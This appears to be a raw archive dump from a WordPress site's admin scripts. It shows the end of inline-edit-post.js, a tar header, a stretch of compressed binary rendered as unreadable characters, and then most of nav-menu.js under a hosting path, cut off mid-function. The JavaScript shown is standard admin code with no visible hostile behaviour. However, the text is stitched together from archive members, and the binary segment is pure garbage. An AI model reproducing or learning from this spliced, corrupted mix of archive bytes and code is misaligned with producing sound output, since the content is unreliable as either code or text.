							wp.a11y.speak( wp.i18n.__( 'Changes saved.' ) );
						});
					} else {
						r = r.replace( /<.[^<>]*?>/g, '' );
						$errorNotice.removeClass( 'hidden' );
						$error.html( r );
						wp.a11y.speak( $error.text() );
					}
				} else {
					$errorNotice.removeClass( 'hidden' );
					$error.text( wp.i18n.__( 'Error while saving the changes.' ) );
					wp.a11y.speak( wp.i18n.__( 'Error while saving the changes.' ) );
				}
			},
		'html');

		// Prevent submitting the form when pressing Enter on a focused field.
		return false;
	},

	/**
	 * Hides and empties the Quick Edit and/or Bulk Edit windows.
	 *
	 * @since 2.7.0
	 *
	 * @memberof inlineEditPost
	 *
	 * @return {boolean} Always returns false.
	 */
	revert : function(){
		var $tableWideFat = $( '.widefat' ),
			id = $( '.inline-editor', $tableWideFat ).attr( 'id' );

		if ( id ) {
			$( '.spinner', $tableWideFat ).removeClass( 'is-active' );

			if ( 'bulk-edit' === id ) {

				// Hide the bulk editor.
				$( '#bulk-edit', $tableWideFat ).removeClass( 'inline-editor' ).hide().siblings( '.hidden' ).remove();
				$('#bulk-titles').empty();

				// Store the empty bulk editor in a hidden element.
				$('#inlineedit').append( $('#bulk-edit') );

				// Move focus back to the Bulk Action button that was activated.
				$( '#' + inlineEditPost.whichBulkButtonId ).trigger( 'focus' );
			} else {

				// Remove both the inline-editor and its hidden tr siblings.
				$('#'+id).siblings('tr.hidden').addBack().remove();
				id = id.substr( id.lastIndexOf('-') + 1 );

				// Show the post row and move focus back to the Quick Edit button.
				$( this.what + id ).show().find( '.editinline' )
					.attr( 'aria-expanded', 'false' )
					.trigger( 'focus' );
			}
		}

		return false;
	},

	/**
	 * Gets the ID for a the post that you want to quick edit from the row in the quick
	 * edit table.
	 *
	 * @since 2.7.0
	 *
	 * @memberof inlineEditPost
	 *
	 * @param {Object} o DOM row object to get the ID for.
	 * @return {string} The post ID extracted from the table row in the object.
	 */
	getId : function(o) {
		var id = $(o).closest('tr').attr('id'),
			parts = id.split('-');
		return parts[parts.length - 1];
	}
};

$( function() { inlineEditPost.init(); } );

// Show/hide locks on posts.
$( function() {

	// Set the heartbeat interval to 15 seconds.
	if ( typeof wp !== 'undefined' && wp.heartbeat ) {
		wp.heartbeat.interval( 15 );
	}
}).on( 'heartbeat-tick.wp-check-locked-posts', function( e, data ) {
	var locked = data['wp-check-locked-posts'] || {};

	$('#the-list tr').each( function(i, el) {
		var key = el.id, row = $(el), lock_data, avatar;

		if ( locked.hasOwnProperty( key ) ) {
			if ( ! row.hasClass('wp-locked') ) {
				lock_data = locked[key];
				row.find('.column-title .locked-text').text( lock_data.text );
				row.find('.check-column checkbox').prop('checked', false);

				if ( lock_data.avatar_src ) {
					avatar = $( '<img />', {
						'class': 'avatar avatar-18 photo',
						width: 18,
						height: 18,
						alt: '',
						src: lock_data.avatar_src,
						srcset: lock_data.avatar_src_2x ? lock_data.avatar_src_2x + ' 2x' : undefined
					} );
					row.find('.column-title .locked-avatar').empty().append( avatar );
				}
				row.addClass('wp-locked');
			}
		} else if ( row.hasClass('wp-locked') ) {
			row.removeClass( 'wp-locked' ).find( '.locked-info span' ).empty();
		}
	});
}).on( 'heartbeat-send.wp-check-locked-posts', function( e, data ) {
	var check = [];

	$('#the-list tr').each( function(i, el) {
		if ( el.id ) {
			check.push( el.id );
		}
	});

	if ( check.length ) {
		data['wp-check-locked-posts'] = check;
	}
});

})( jQuery, window.wp );
media-audio-widget.js.js.tar.gz000064400000002713150276633110012367 0ustar00��Xmo�6�W�W܂��[r�l\H�n؆y	��P#�1[I�H*ifx�}�#��8n�
��_,�wϽ���x�3#L��(V\�u�x�2�n�1K2�G�ut#�+nt��D�1+!ǎ��Ov�	�o����'�����'��ϳÃg�ϑ~xx49��.���*�a�G�g�W��߇}8��)J�7
E�~�\�"7�\mxn�f)���WJ����Q2݃wV*X�yl����
��g`�~oPj�(���~�w���羡cg2��M9q�=�7L�zf�A��[�zx�����8NXX.0Kf@�L^s�/������1�C���)V�)B��٢C�&�>���J���0���W��kE��7a����L��mW�=LI�?b��Q������",�4��-[!�lB[q��L����q0�ӱ�T9���H�DC{1ɞ��d�69�t�l��^1K��%�r~Ӡ��I���|�GLS E�L�p�ߩ�@�E\*�n+U�)(i#G��$�/-K�j�n����<$�IrN�����2�dj��;��D8Y�������=lWA��!�u��9���l��eN��)�/y���=�:V�06L�S%OD~M�,��ُg�?R���"3�i���=U�Κ�"�bj����tG�����|�|y��T���[�]���}����k8mSwt�󥼁Dh�ַ��1�[�Ð������i1_9�s/�Kc�9`�
��6^�2q�s^�pV���yl�N��D�0k�
��mWnM�XA
.dӀIs�E���-��^�qC�.FιF̶���S��kM�4
��G۶�����'b��m1x�
�o�s\!���맯Eg��n���ea"窦\�3��0cX����S�~{�R�O�;l]#F�l�5�\$\G�=��J����U�x��C����t:iM򛮶��\�|�j�����T&o`���P'Ҏ����J�.M�)����Ԅ����9}�F�*�v�r�ۦ�w�>�B=���PuE�r�,�0������i�s�\?r�ࣩfZi�J,n�I����"����fn�������a	3le�������\Ī�v��߾�(���h��~�=k�"C��&x��O�>9Hnc��	����ǃ߫�����v�.��-���G�{�c��s���.��������6Fdb�� �<�h$];6W��?,ٵ�<�]��x���f���eWW\i�隡e��vo���G�J���qH2[u���&�y5<�r�r��
�FۘE�̢�^�r��Z��S��aMԡ�M�*U�(Q&�����`��3�L�;�Z���Y����!�8��2��P����4^ޭ��$��`�S ���y���?1�aRޝ_����@�e=6�F�ŗ���q=������/�YTCnav-menu.js.tar000064400000150000150276633110007415 0ustar00home/natitnen/crestassured.com/wp-admin/js/nav-menu.js000064400000144133150265064330017026 0ustar00/**
 * WordPress Administration Navigation Menu
 * Interface JS functions
 *
 * @version 2.0.0
 *
 * @package WordPress
 * @subpackage Administration
 * @output wp-admin/js/nav-menu.js
 */

/* global menus, postboxes, columns, isRtl, ajaxurl, wpNavMenu */

(function($) {

	var api;

	/**
	 * Contains all the functions to handle WordPress navigation menus administration.
	 *
	 * @namespace wpNavMenu
	 */
	api = window.wpNavMenu = {

		options : {
			menuItemDepthPerLevel : 30, // Do not use directly. Use depthToPx and pxToDepth instead.
			globalMaxDepth:  11,
			sortableItems:   '> *',
			targetTolerance: 0
		},

		menuList : undefined,	// Set in init.
		targetList : undefined, // Set in init.
		menusChanged : false,
		isRTL: !! ( 'undefined' != typeof isRtl && isRtl ),
		negateIfRTL: ( 'undefined' != typeof isRtl && isRtl ) ? -1 : 1,
		lastSearch: '',

		// Functions that run on init.
		init : function() {
			api.menuList = $('#menu-to-edit');
			api.targetList = api.menuList;

			this.jQueryExtensions();

			this.attachMenuEditListeners();

			this.attachBulkSelectButtonListeners();
			this.attachMenuCheckBoxListeners();
			this.attachMenuItemDeleteButton();
			this.attachPendingMenuItemsListForDeletion();

			this.attachQuickSearchListeners();
			this.attachThemeLocationsListeners();
			this.attachMenuSaveSubmitListeners();

			this.attachTabsPanelListeners();

			this.attachUnsavedChangesListener();

			if ( api.menuList.length )
				this.initSortables();

			if ( menus.oneThemeLocationNoMenus )
				$( '#posttype-page' ).addSelectedToMenu( api.addMenuItemToBottom );

			this.initManageLocations();

			this.initAccessibility();

			this.initToggles();

			this.initPreviewing();
		},

		jQueryExtensions : function() {
			// jQuery extensions.
			$.fn.extend({
				menuItemDepth : function() {
					var margin = api.isRTL ? this.eq(0).css('margin-right') : this.eq(0).css('margin-left');
					return api.pxToDepth( margin && -1 != margin.indexOf('px') ? margin.slice(0, -2) : 0 );
				},
				updateDepthClass : function(current, prev) {
					return this.each(function(){
						var t = $(this);
						prev = prev || t.menuItemDepth();
						$(this).removeClass('menu-item-depth-'+ prev )
							.addClass('menu-item-depth-'+ current );
					});
				},
				shiftDepthClass : function(change) {
					return this.each(function(){
						var t = $(this),
							depth = t.menuItemDepth(),
							newDepth = depth + change;

						t.removeClass( 'menu-item-depth-'+ depth )
							.addClass( 'menu-item-depth-'+ ( newDepth ) );

						if ( 0 === newDepth ) {
							t.find( '.is-submenu' ).hide();
						}
					});
				},
				childMenuItems : function() {
					var result = $();
					this.each(function(){
						var t = $(this), depth = t.menuItemDepth(), next = t.next( '.menu-item' );
						while( next.length && next.menuItemDepth() > depth ) {
							result = result.add( next );
							next = next.next( '.menu-item' );
						}
					});
					return result;
				},
				shiftHorizontally : function( dir ) {
					return this.each(function(){
						var t = $(this),
							depth = t.menuItemDepth(),
							newDepth = depth + dir;

						// Change .menu-item-depth-n class.
						t.moveHorizontally( newDepth, depth );
					});
				},
				moveHorizontally : function( newDepth, depth ) {
					return this.each(function(){
						var t = $(this),
							children = t.childMenuItems(),
							diff = newDepth - depth,
							subItemText = t.find('.is-submenu');

						// Change .menu-item-depth-n class.
						t.updateDepthClass( newDepth, depth ).updateParentMenuItemDBId();

						// If it has children, move those too.
						if ( children ) {
							children.each(function() {
								var t = $(this),
									thisDepth = t.menuItemDepth(),
									newDepth = thisDepth + diff;
								t.updateDepthClass(newDepth, thisDepth).updateParentMenuItemDBId();
							});
						}

						// Show "Sub item" helper text.
						if (0 === newDepth)
							subItemText.hide();
						else
							subItemText.show();
					});
				},
				updateParentMenuItemDBId : function() {
					return this.each(function(){
						var item = $(this),
							input = item.find( '.menu-item-data-parent-id' ),
							depth = parseInt( item.menuItemDepth(), 10 ),
							parentDepth = depth - 1,
							parent = item.prevAll( '.menu-item-depth-' + parentDepth ).first();

						if ( 0 === depth ) { // Item is on the top level, has no parent.
							input.val(0);
						} else { // Find the parent item, and retrieve its object id.
							input.val( parent.find( '.menu-item-data-db-id' ).val() );
						}
					});
				},
				hideAdvancedMenuItemFields : function() {
					return this.each(function(){
						var that = $(this);
						$('.hide-column-tog').not(':checked').each(function(){
							that.find('.field-' + $(this).val() ).addClass('hidden-field');
						});
					});
				},
				/**
				 * Adds selected menu items to the menu.
				 *
				 * @ignore
				 *
				 * @param jQuery metabox The metabox jQuery object.
				 */
				addSelectedToMenu : function(processMethod) {
					if ( 0 === $('#menu-to-edit').length ) {
						return false;
					}

					return this.each(function() {
						var t = $(this), menuItems = {},
							checkboxes = ( menus.oneThemeLocationNoMenus && 0 === t.find( '.tabs-panel-active .categorychecklist li input:checked' ).length ) ? t.find( '#page-all li input[type="checkbox"]' ) : t.find( '.tabs-panel-active .categorychecklist li input:checked' ),
							re = /menu-item\[([^\]]*)/;

						processMethod = processMethod || api.addMenuItemToBottom;

						// If no items are checked, bail.
						if ( !checkboxes.length )
							return false;

						// Show the Ajax spinner.
						t.find( '.button-controls .spinner' ).addClass( 'is-active' );

						// Retrieve menu item data.
						$(checkboxes).each(function(){
							var t = $(this),
								listItemDBIDMatch = re.exec( t.attr('name') ),
								listItemDBID = 'undefined' == typeof listItemDBIDMatch[1] ? 0 : parseInt(listItemDBIDMatch[1], 10);

							if ( this.className && -1 != this.className.indexOf('add-to-top') )
								processMethod = api.addMenuItemToTop;
							menuItems[listItemDBID] = t.closest('li').getItemData( 'add-menu-item', listItemDBID );
						});

						// Add the items.
						api.addItemToMenu(menuItems, processMethod, function(){
							// Deselect the items and hide the Ajax spinner.
							checkboxes.prop( 'checked', false );
							t.find( '.button-controls .select-all' ).prop( 'checked', false );
							t.find( '.button-controls .spinner' ).removeClass( 'is-active' );
						});
					});
				},
				getItemData : function( itemType, id ) {
					itemType = itemType || 'menu-item';

					var itemData = {}, i,
					fields = [
						'menu-item-db-id',
						'menu-item-object-id',
						'menu-item-object',
						'menu-item-parent-id',
						'menu-item-position',
						'menu-item-type',
						'menu-item-title',
						'menu-item-url',
						'menu-item-description',
						'menu-item-attr-title',
						'menu-item-target',
						'menu-item-classes',
						'menu-item-xfn'
					];

					if( !id && itemType == 'menu-item' ) {
						id = this.find('.menu-item-data-db-id').val();
					}

					if( !id ) return itemData;

					this.find('input').each(function() {
						var field;
						i = fields.length;
						while ( i-- ) {
							if( itemType == 'menu-item' )
								field = fields[i] + '[' + id + ']';
							else if( itemType == 'add-menu-item' )
								field = 'menu-item[' + id + '][' + fields[i] + ']';

							if (
								this.name &&
								field == this.name
							) {
								itemData[fields[i]] = this.value;
							}
						}
					});

					return itemData;
				},
				setItemData : function( itemData, itemType, id ) { // Can take a type, such as 'menu-item', or an id.
					itemType = itemType || 'menu-item';

					if( !id && itemType == 'menu-item' ) {
						id = $('.menu-item-data-db-id', this).val();
					}

					if( !id ) return this;

					this.find('input').each(function() {
						var t = $(this), field;
						$.each( itemData, function( attr, val ) {
							if( itemType == 'menu-item' )
								field = attr + '[' + id + ']';
							else if( itemType == 'add-menu-item' )
								field = 'menu-item[' + id + '][' + attr + ']';

							if ( field == t.attr('name') ) {
								t.val( val );
							}
						});
					});
					return this;
				}
			});
		},

		countMenuItems : function( depth ) {
			return $( '.menu-item-depth-' + depth ).length;
		},

		moveMenuItem : function( $this, dir ) {

			var items, newItemPosition, newDepth,
				menuItems = $( '#menu-to-edit li' ),
				menuItemsCount = menuItems.length,
				thisItem = $this.parents( 'li.menu-item' ),
				thisItemChildren = thisItem.childMenuItems(),
				thisItemData = thisItem.getItemData(),
				thisItemDepth = parseInt( thisItem.menuItemDepth(), 10 ),
				thisItemPosition = parseInt( thisItem.index(), 10 ),
				nextItem = thisItem.next(),
				nextItemChildren = nextItem.childMenuItems(),
				nextItemDepth = parseInt( nextItem.menuItemDepth(), 10 ) + 1,
				prevItem = thisItem.prev(),
				prevItemDepth = parseInt( prevItem.menuItemDepth(), 10 ),
				prevItemId = prevItem.getItemData()['menu-item-db-id'],
				a11ySpeech = menus[ 'moved' + dir.charAt(0).toUpperCase() + dir.slice(1) ];

			switch ( dir ) {
			case 'up':
				newItemPosition = thisItemPosition - 1;

				// Already at top.
				if ( 0 === thisItemPosition )
					break;

				// If a sub item is moved to top, shift it to 0 depth.
				if ( 0 === newItemPosition && 0 !== thisItemDepth )
					thisItem.moveHorizontally( 0, thisItemDepth );

				// If prev item is sub item, shift to match depth.
				if ( 0 !== prevItemDepth )
					thisItem.moveHorizontally( prevItemDepth, thisItemDepth );

				// Does this item have sub items?
				if ( thisItemChildren ) {
					items = thisItem.add( thisItemChildren );
					// Move the entire block.
					items.detach().insertBefore( menuItems.eq( newItemPosition ) ).updateParentMenuItemDBId();
				} else {
					thisItem.detach().insertBefore( menuItems.eq( newItemPosition ) ).updateParentMenuItemDBId();
				}
				break;
			case 'down':
				// Does this item have sub items?
				if ( thisItemChildren ) {
					items = thisItem.add( thisItemChildren ),
						nextItem = menuItems.eq( items.length + thisItemPosition ),
						nextItemChildren = 0 !== nextItem.childMenuItems().length;

					if ( nextItemChildren ) {
						newDepth = parseInt( nextItem.menuItemDepth(), 10 ) + 1;
						thisItem.moveHorizontally( newDepth, thisItemDepth );
					}

					// Have we reached the bottom?
					if ( menuItemsCount === thisItemPosition + items.length )
						break;

					items.detach().insertAfter( menuItems.eq( thisItemPosition + items.length ) ).updateParentMenuItemDBId();
				} else {
					// If next item has sub items, shift depth.
					if ( 0 !== nextItemChildren.length )
						thisItem.moveHorizontally( nextItemDepth, thisItemDepth );

					// Have we reached the bottom?
					if ( menuItemsCount === thisItemPosition + 1 )
						break;
					thisItem.detach().insertAfter( menuItems.eq( thisItemPosition + 1 ) ).updateParentMenuItemDBId();
				}
				break;
			case 'top':
				// Already at top.
				if ( 0 === thisItemPosition )
					break;
				// Does this item have sub items?
				if ( thisItemChildren ) {
					items = thisItem.add( thisItemChildren );
					// Move the entire block.
					items.detach().insertBefore( menuItems.eq( 0 ) ).updateParentMenuItemDBId();
				} else {
					thisItem.detach().insertBefore( menuItems.eq( 0 ) ).updateParentMenuItemDBId();
				}
				break;
			case 'left':
				// As far left as possible.
				if ( 0 === thisItemDepth )
					break;
				thisItem.shiftHorizontally( -1 );
				break;
			case 'right':
				// Can't be sub item at top.
				if ( 0 === thisItemPosition )
					break;
				// Already sub item of prevItem.
				if ( thisItemData['menu-item-parent-id'] === prevItemId )
					break;
				thisItem.shiftHorizontally( 1 );
				break;
			}
			$this.trigger( 'focus' );
			api.registerChange();
			api.refreshKeyboardAccessibility();
			api.refreshAdvancedAccessibility();

			if ( a11ySpeech ) {
				wp.a11y.speak( a11ySpeech );
			}
		},

		initAccessibility : function() {
			var menu = $( '#menu-to-edit' );

			api.refreshKeyboardAccessibility();
			api.refreshAdvancedAccessibility();

			// Refresh the accessibility when the user comes close to the item in any way.
			menu.on( 'mouseenter.refreshAccessibility focus.refreshAccessibility touchstart.refreshAccessibility' , '.menu-item' , function(){
				api.refreshAdvancedAccessibilityOfItem( $( this ).find( 'a.item-edit' ) );
			} );

			// We have to update on click as well because we might hover first, change the item, and then click.
			menu.on( 'click', 'a.item-edit', function() {
				api.refreshAdvancedAccessibilityOfItem( $( this ) );
			} );

			// Links for moving items.
			menu.on( 'click', '.menus-move', function () {
				var $this = $( this ),
					dir = $this.data( 'dir' );

				if ( 'undefined' !== typeof dir ) {
					api.moveMenuItem( $( this ).parents( 'li.menu-item' ).find( 'a.item-edit' ), dir );
				}
			});
		},

		/**
		 * refreshAdvancedAccessibilityOfItem( [itemToRefresh] )
		 *
		 * Refreshes advanced accessibility buttons for one menu item.
		 * Shows or hides buttons based on the location of the menu item.
		 *
		 * @param {Object} itemToRefresh The menu item that might need its advanced accessibility buttons refreshed
		 */
		refreshAdvancedAccessibilityOfItem : function( itemToRefresh ) {

			// Only refresh accessibility when necessary.
			if ( true !== $( itemToRefresh ).data( 'needs_accessibility_refresh' ) ) {
				return;
			}

			var thisLink, thisLinkText, primaryItems, itemPosition, title,
				parentItem, parentItemId, parentItemName, subItems,
				$this = $( itemToRefresh ),
				menuItem = $this.closest( 'li.menu-item' ).first(),
				depth = menuItem.menuItemDepth(),
				isPrimaryMenuItem = ( 0 === depth ),
				itemName = $this.closest( '.menu-item-handle' ).find( '.menu-item-title' ).text(),
				position = parseInt( menuItem.index(), 10 ),
				prevItemDepth = ( isPrimaryMenuItem ) ? depth : parseInt( depth - 1, 10 ),
				prevItemNameLeft = menuItem.prevAll('.menu-item-depth-' + prevItemDepth).first().find( '.menu-item-title' ).text(),
				prevItemNameRight = menuItem.prevAll('.menu-item-depth-' + depth).first().find( '.menu-item-title' ).text(),
				totalMenuItems = $('#menu-to-edit li').length,
				hasSameDepthSibling = menuItem.nextAll( '.menu-item-depth-' + depth ).length;

				menuItem.find( '.field-move' ).toggle( totalMenuItems > 1 );

			// Where can they move this menu item?
			if ( 0 !== position ) {
				thisLink = menuItem.find( '.menus-move-up' );
				thisLink.attr( 'aria-label', menus.moveUp ).css( 'display', 'inline' );
			}

			if ( 0 !== position && isPrimaryMenuItem ) {
				thisLink = menuItem.find( '.menus-move-top' );
				thisLink.attr( 'aria-label', menus.moveToTop ).css( 'display', 'inline' );
			}

			if ( position + 1 !== totalMenuItems && 0 !== position ) {
				thisLink = menuItem.find( '.menus-move-down' );
				thisLink.attr( 'aria-label', menus.moveDown ).css( 'display', 'inline' );
			}

			if ( 0 === position && 0 !== hasSameDepthSibling ) {
				thisLink = menuItem.find( '.menus-move-down' );
				thisLink.attr( 'aria-label', menus.moveDown ).css( 'display', 'inline' );
			}

			if ( ! isPrimaryMenuItem ) {
				thisLink = menuItem.find( '.menus-move-left' ),
				thisLinkText = menus.outFrom.replace( '%s', prevItemNameLeft );
				thisLink.attr( 'aria-label', menus.moveOutFrom.replace( '%s', prevItemNameLeft ) ).text( thisLinkText ).css( 'display', 'inline' );
			}

			if ( 0 !== position ) {
				if ( menuItem.find( '.menu-item-data-parent-id' ).val() !== menuItem.prev().find( '.menu-item-data-db-id' ).val() ) {
					thisLink = menuItem.find( '.menus-move-right' ),
					thisLinkText = menus.under.replace( '%s', prevItemNameRight );
					thisLink.attr( 'aria-label', menus.moveUnder.replace( '%s', prevItemNameRight ) ).text( thisLinkText ).css( 'display', 'inline' );
				}
			}

			if ( isPrimaryMenuItem ) {
				primaryItems = $( '.menu-item-depth-0' ),
				itemPosition = primaryItems.index( menuItem ) + 1,
				totalMenuItems = primaryItems.length,

				// String together help text for primary menu items.
				title = menus.menuFocus.replace( '%1$s', itemName ).replace( '%2$d', itemPosition ).replace( '%3$d', totalMenuItems );
			} else {
				parentItem = menuItem.prevAll( '.menu-item-depth-' + parseInt( depth - 1, 10 ) ).first(),
				parentItemId = parentItem.find( '.menu-item-data-db-id' ).val(),
				parentItemName = parentItem.find( '.menu-item-title' ).text(),
				subItems = $( '.menu-item .menu-item-data-parent-id[value="' + parentItemId + '"]' ),
				itemPosition = $( subItems.parents('.menu-item').get().reverse() ).index( menuItem ) + 1;

				// String together help text for sub menu items.
				title = menus.subMenuFocus.replace( '%1$s', itemName ).replace( '%2$d', itemPosition ).replace( '%3$s', parentItemName );
			}

			$this.attr( 'aria-label', title );

			// Mark this item's accessibility as refreshed.
			$this.data( 'needs_accessibility_refresh', false );
		},

		/**
		 * refreshAdvancedAccessibility
		 *
		 * Hides all advanced accessibility buttons and marks them for refreshing.
		 */
		refreshAdvancedAccessibility : function() {

			// Hide all the move buttons by default.
			$( '.menu-item-settings .field-move .menus-move' ).hide();

			// Mark all menu items as unprocessed.
			$( 'a.item-edit' ).data( 'needs_accessibility_refresh', true );

			// All open items have to be refreshed or they will show no links.
			$( '.menu-item-edit-active a.item-edit' ).each( function() {
				api.refreshAdvancedAccessibilityOfItem( this );
			} );
		},

		refreshKeyboardAccessibility : function() {
			$( 'a.item-edit' ).off( 'focus' ).on( 'focus', function(){
				$(this).off( 'keydown' ).on( 'keydown', function(e){

					var arrows,
						$this = $( this ),
						thisItem = $this.parents( 'li.menu-item' ),
						thisItemData = thisItem.getItemData();

					// Bail if it's not an arrow key.
					if ( 37 != e.which && 38 != e.which && 39 != e.which && 40 != e.which )
						return;

					// Avoid multiple keydown events.
					$this.off('keydown');

					// Bail if there is only one menu item.
					if ( 1 === $('#menu-to-edit li').length )
						return;

					// If RTL, swap left/right arrows.
					arrows = { '38': 'up', '40': 'down', '37': 'left', '39': 'right' };
					if ( $('body').hasClass('rtl') )
						arrows = { '38' : 'up', '40' : 'down', '39' : 'left', '37' : 'right' };

					switch ( arrows[e.which] ) {
					case 'up':
						api.moveMenuItem( $this, 'up' );
						break;
					case 'down':
						api.moveMenuItem( $this, 'down' );
						break;
					case 'left':
						api.moveMenuItem( $this, 'left' );
						break;
					case 'right':
						api.moveMenuItem( $this, 'right' );
						break;
					}
					// Put focus back on same menu item.
					$( '#edit-' + thisItemData['menu-item-db-id'] ).trigger( 'focus' );
					return false;
				});
			});
		},

		initPreviewing : function() {
			// Update the item handle title when the navigation label is changed.
			$( '#menu-to-edit' ).on( 'change input', '.edit-menu-item-title', function(e) {
				var input = $( e.currentTarget ), title, titleEl;
				title = input.val();
				titleEl = input.closest( '.menu-item' ).find( '.menu-item-title' );
				// Don't update to empty title.
				if ( title ) {
					titleEl.text( title ).removeClass( 'no-title' );
				} else {
					titleEl.text( wp.i18n._x( '(no label)', 'missing menu item navigation label' ) ).addClass( 'no-title' );
				}
			} );
		},

		initToggles : function() {
			// Init postboxes.
			postboxes.add_postbox_toggles('nav-menus');

			// Adjust columns functions for menus UI.
			columns.useCheckboxesForHidden();
			columns.checked = function(field) {
				$('.field-' + field).removeClass('hidden-field');
			};
			columns.unchecked = function(field) {
				$('.field-' + field).addClass('hidden-field');
			};
			// Hide fields.
			api.menuList.hideAdvancedMenuItemFields();

			$('.hide-postbox-tog').on( 'click', function () {
				var hidden = $( '.accordion-container li.accordion-section' ).filter(':hidden').map(function() { return this.id; }).get().join(',');
				$.post(ajaxurl, {
					action: 'closed-postboxes',
					hidden: hidden,
					closedpostboxesnonce: jQuery('#closedpostboxesnonce').val(),
					page: 'nav-menus'
				});
			});
		},

		initSortables : function() {
			var currentDepth = 0, originalDepth, minDepth, maxDepth,
				prev, next, prevBottom, nextThreshold, helperHeight, transport,
				menuEdge = api.menuList.offset().left,
				body = $('body'), maxChildDepth,
				menuMaxDepth = initialMenuMaxDepth();

			if( 0 !== $( '#menu-to-edit li' ).length )
				$( '.drag-instructions' ).show();

			// Use the right edge if RTL.
			menuEdge += api.isRTL ? api.menuList.width() : 0;

			api.menuList.sortable({
				handle: '.menu-item-handle',
				placeholder: 'sortable-placeholder',
				items: api.options.sortableItems,
				start: function(e, ui) {
					var height, width, parent, children, tempHolder;

					// Handle placement for RTL orientation.
					if ( api.isRTL )
						ui.item[0].style.right = 'auto';

					transport = ui.item.children('.menu-item-transport');

					// Set depths. currentDepth must be set before children are located.
					originalDepth = ui.item.menuItemDepth();
					updateCurrentDepth(ui, originalDepth);

					// Attach child elements to parent.
					// Skip the placeholder.
					parent = ( ui.item.next()[0] == ui.placeholder[0] ) ? ui.item.next() : ui.item;
					children = parent.childMenuItems();
					transport.append( children );

					// Update the height of the placeholder to match the moving item.
					height = transport.outerHeight();
					// If there are children, account for distance between top of children and parent.
					height += ( height > 0 ) ? (ui.placeholder.css('margin-top').slice(0, -2) * 1) : 0;
					height += ui.helper.outerHeight();
					helperHeight = height;
					height -= 2;                                              // Subtract 2 for borders.
					ui.placeholder.height(height);

					// Update the width of the placeholder to match the moving item.
					maxChildDepth = originalDepth;
					children.each(function(){
						var depth = $(this).menuItemDepth();
						maxChildDepth = (depth > maxChildDepth) ? depth : maxChildDepth;
					});
					width = ui.helper.find('.menu-item-handle').outerWidth(); // Get original width.
					width += api.depthToPx(maxChildDepth - originalDepth);    // Account for children.
					width -= 2;                                               // Subtract 2 for borders.
					ui.placeholder.width(width);

					// Update the list of menu items.
					tempHolder = ui.placeholder.next( '.menu-item' );
					tempHolder.css( 'margin-top', helperHeight + 'px' ); // Set the margin to absorb the placeholder.
					ui.placeholder.detach();         // Detach or jQuery UI will think the placeholder is a menu item.
					$(this).sortable( 'refresh' );   // The children aren't sortable. We should let jQuery UI know.
					ui.item.after( ui.placeholder ); // Reattach the placeholder.
					tempHolder.css('margin-top', 0); // Reset the margin.

					// Now that the element is complete, we can update...
					updateSharedVars(ui);
				},
				stop: function(e, ui) {
					var children, subMenuTitle,
						depthChange = currentDepth - originalDepth;

					// Return child elements to the list.
					children = transport.children().insertAfter(ui.item);

					// Add "sub menu" description.
					subMenuTitle = ui.item.find( '.item-title .is-submenu' );
					if ( 0 < currentDepth )
						subMenuTitle.show();
					else
						subMenuTitle.hide();

					// Update depth classes.
					if ( 0 !== depthChange ) {
						ui.item.updateDepthClass( currentDepth );
						children.shiftDepthClass( depthChange );
						updateMenuMaxDepth( depthChange );
					}
					// Register a change.
					api.registerChange();
					// Update the item data.
					ui.item.updateParentMenuItemDBId();

					// Address sortable's incorrectly-calculated top in Opera.
					ui.item[0].style.top = 0;

					// Handle drop placement for rtl orientation.
					if ( api.isRTL ) {
						ui.item[0].style.left = 'auto';
						ui.item[0].style.right = 0;
					}

					api.refreshKeyboardAccessibility();
					api.refreshAdvancedAccessibility();
				},
				change: function(e, ui) {
					// Make sure the placeholder is inside the menu.
					// Otherwise fix it, or we're in trouble.
					if( ! ui.placeholder.parent().hasClass('menu') )
						(prev.length) ? prev.after( ui.placeholder ) : api.menuList.prepend( ui.placeholder );

					updateSharedVars(ui);
				},
				sort: function(e, ui) {
					var offset = ui.helper.offset(),
						edge = api.isRTL ? offset.left + ui.helper.width() : offset.left,
						depth = api.negateIfRTL * api.pxToDepth( edge - menuEdge );

					/*
					 * Check and correct if depth is not within range.
					 * Also, if the dragged element is dragged upwards over an item,
					 * shift the placeholder to a child position.
					 */
					if ( depth > maxDepth || offset.top < ( prevBottom - api.options.targetTolerance ) ) {
						depth = maxDepth;
					} else if ( depth < minDepth ) {
						depth = minDepth;
					}

					if( depth != currentDepth )
						updateCurrentDepth(ui, depth);

					// If we overlap the next element, manually shift downwards.
					if( nextThreshold && offset.top + helperHeight > nextThreshold ) {
						next.after( ui.placeholder );
						updateSharedVars( ui );
						$( this ).sortable( 'refreshPositions' );
					}
				}
			});

			function updateSharedVars(ui) {
				var depth;

				prev = ui.placeholder.prev( '.menu-item' );
				next = ui.placeholder.next( '.menu-item' );

				// Make sure we don't select the moving item.
				if( prev[0] == ui.item[0] ) prev = prev.prev( '.menu-item' );
				if( next[0] == ui.item[0] ) next = next.next( '.menu-item' );

				prevBottom = (prev.length) ? prev.offset().top + prev.height() : 0;
				nextThreshold = (next.length) ? next.offset().top + next.height() / 3 : 0;
				minDepth = (next.length) ? next.menuItemDepth() : 0;

				if( prev.length )
					maxDepth = ( (depth = prev.menuItemDepth() + 1) > api.options.globalMaxDepth ) ? api.options.globalMaxDepth : depth;
				else
					maxDepth = 0;
			}

			function updateCurrentDepth(ui, depth) {
				ui.placeholder.updateDepthClass( depth, currentDepth );
				currentDepth = depth;
			}

			function initialMenuMaxDepth() {
				if( ! body[0].className ) return 0;
				var match = body[0].className.match(/menu-max-depth-(\d+)/);
				return match && match[1] ? parseInt( match[1], 10 ) : 0;
			}

			function updateMenuMaxDepth( depthChange ) {
				var depth, newDepth = menuMaxDepth;
				if ( depthChange === 0 ) {
					return;
				} else if ( depthChange > 0 ) {
					depth = maxChildDepth + depthChange;
					if( depth > menuMaxDepth )
						newDepth = depth;
				} else if ( depthChange < 0 && maxChildDepth == menuMaxDepth ) {
					while( ! $('.menu-item-depth-' + newDepth, api.menuList).length && newDepth > 0 )
						newDepth--;
				}
				// Update the depth class.
				body.removeClass( 'menu-max-depth-' + menuMaxDepth ).addClass( 'menu-max-depth-' + newDepth );
				menuMaxDepth = newDepth;
			}
		},

		initManageLocations : function () {
			$('#menu-locations-wrap form').on( 'submit', function(){
				window.onbeforeunload = null;
			});
			$('.menu-location-menus select').on('change', function () {
				var editLink = $(this).closest('tr').find('.locations-edit-menu-link');
				if ($(this).find('option:selected').data('orig'))
					editLink.show();
				else
					editLink.hide();
			});
		},

		attachMenuEditListeners : function() {
			var that = this;
			$('#update-nav-menu').on('click', function(e) {
				if ( e.target && e.target.className ) {
